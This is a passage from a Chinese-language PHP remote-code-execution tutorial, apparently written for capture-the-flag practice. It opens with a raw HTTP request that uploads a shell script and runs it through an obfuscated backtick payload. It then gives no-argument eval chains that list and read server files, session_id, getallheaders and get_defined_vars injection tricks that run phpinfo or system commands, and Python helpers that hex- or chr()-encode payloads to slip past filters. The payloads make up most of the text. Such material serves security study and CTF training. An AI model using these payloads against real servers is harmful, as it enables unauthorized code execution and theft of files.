
用当前的shell执行一个文件中的命令。当前运行的shell是bash,则. file的意思就是用bash执行filename文件中的命令。所以我们就可以用.来执行我们上传的恶意文件

参考请求包

Text Only
POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1
Host: 192.168.43.210:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type:multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 109

----------123
Content-Disposition:form-data;name="file";filename="1.txt"

#!/bin/sh
ls /
----------123--

2.2.2 有或无参数rce

所谓无参数rce就是利用各种已定义函数的复杂搭配,在eval命令执行的条件下成功构造我们所需的恶意代码的操作。例如下方简介表格中的最后一条代码串。

示例代码

PHP
1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
2.2.2.1 常见函数及简介
函数 效果
include() 包含文件内容
require() 包含文件内容
include_once() 包含文件内容
require_once() 包含文件内容
foreach($a as $x => $y) \(a为数组,将数组名和值循环赋值给\)x和$y
exit($a) 输出$a并退出当前脚本
show_source() 显示文件内容
file_get_contents() 显示文件内容
highlight_file() 显示文件内容
readfile() 显示文件内容
var_dump() 打印数组,显示文件名
printf() 显示文件内容
next() 数组指针移动到下一位
array_reverse() 数组位置前后调转
show_source(next(array_reverse(scandir(current(localeconv()))))) 输出当前目录倒数第二个文件内容
localeconv() 详细的自己搜,返回一个数组,数组的第一个是小数点字符,因此可以用current()提取一个.
current()或pos() 提取数组第一个元素的值
scandir() 显示目录中的所有文件
scandir(current(localeconv())) 查看目录
var_dump(scandir(current(localeconv()))) 输出目录
array_flip() 交换数组中的键和值,成功时返回交换后的数组
array_rand() 从数组中随机取出一个或多个单元
end() 取出数组中的最后一位
chdir() 目录跳转,例如chdir('..')就是跳转到上级目录
get_defined_vars() 返回由所有已定义变量所组成的数组(全局变量)
dirname() 返回当前文件的路径,就是pwd
getcwd() 返回当前的工作目录
getallheaders() 返回所有的请求头数组
getenv() php7.1版本以后才能使用,获取环境变量
time() 返回当前的Unix时间戳
localtime() 取得本地时间
localtime(time()) 返回一个数组,0-60之间
__halt_compiler(); 停止对当前脚本的编译,可用于去掉后边没用的字符串
pos() 取出数组的第一个元素
print_r(scandir(next(scandir(getcwd())))); 输出上级目录
print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv())))))); 赌狗操作,随机读当前目录文件

查看当前目录文件

Text Only
print_r(scandir(current(localeconv())));

读取当前目录文件

Text Only
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

随机返回当前目录文件

Text Only
1
2
3
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

查看上级目录

Text Only
1
2
3
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

读取上级目录文件

Text Only
1
2
3
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

查看根目录文件名

Text Only
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
2.2.2.2 session_id

通过开启session,构造恶意session值进而执行任意恶意代码,构造脚本如下

PHP
1
2
3
<?php
echo bin2hex("phpinfo();");
?>

恶意代码

PHP
eval(hex2bin(session_id(session_start())));

恶意session值

Text Only
phpsessid=706870696e666f28293b
2.2.2.3 getallheaders

示例代码

源代码

PHP
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    @include($file);
}else{
    die("nope");
}
?>

payload:

Text Only
1
2
3
eval(array_pop(getallheaders()));
//这里的array_pop是弹出http头的最后一个
//getallheaders()会获取所有请求头信息的一个数组
Text Only
1
2
3
4
5
6
请求头:
因为得是在最后一个,所以用字母让他排到最后,例如:
ZZZZZ=phpinfo();

或者使用
eval(pos(next(array_reverse(getallheaders())));

image-20240123225738166

注意看,此时我们通过print成功输出了getallheaders的数组,并构造了恶意请求头ZZZZZZ,看图可得其位于最后一位

image-20240123225838387

此时我们可以通过end函数成功提取到了我们构造的ZZZZZ的值

image-20240123225922913

将print换成eval即可发现我们成功执行了phpinfo

2.2.2.4 get_defined_vars
Text Only
获取全局变量$_POST   $_GET    $_FILE    $_COOKIE

image-20240123225218898

由图可得,我们获取了所有的全局变量

image-20240123225346696

观察这张图,我利用了两个pos成功提取出了我们恶意构造的123这一变量

image-20240123225447536

此时我将print换成了system,再将恶意构造的123换成了系统命令ls,发包后即可发现我们成功执行了ls系统命令

2.2.3 绕过简介

eval类和system类命令执行的绕过大同小异,此处额外提供两个仅在eval类生效的脚本,其本质为php的字符解析机制和php的函数利用,以下可用于绕过特殊字符段的过滤,适用于show_source等多种2.2.2中的显示和包含文件函数的参数构造

1.16进制绕过"\x77\x61\x66\x2e\x70\x68\x70",外面必须为双引号

16进制的构造脚本

Text Only
1
2
3
4
5
6
original_string=''
while(original_string!='end'):
    original_string = input()
    hex_representation = "\\x".join("{:02x}".format(ord(char)) for char in original_string)
    final_result = "\\x" + hex_representation
    print(final_result)

2.chr函数绕过chr(119).chr(97).chr(102).chr(46).chr(112).chr(104).chr(112)

chr的构造脚本

Text Only
def convert_to_ascii_special(text):
    ascii_special = ''
    for char in text:
        ascii_code = ord(char)
        ascii_special += 'chr({}).'.format(ascii_code)
    ascii_special = ascii_special[:-1]  # 去除最后一个加号
    return ascii_special

user_input=''
while(user_input!='end'):
    user_input = input("请输入要转换的字符:")
    result = convert_to_ascii_special(user_input)
    print(result)

参考链接:

https://blog.csdn.net/qq_56815564/article/details/130279662

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://blog.csdn.net/kali_Ma/article/details/122544274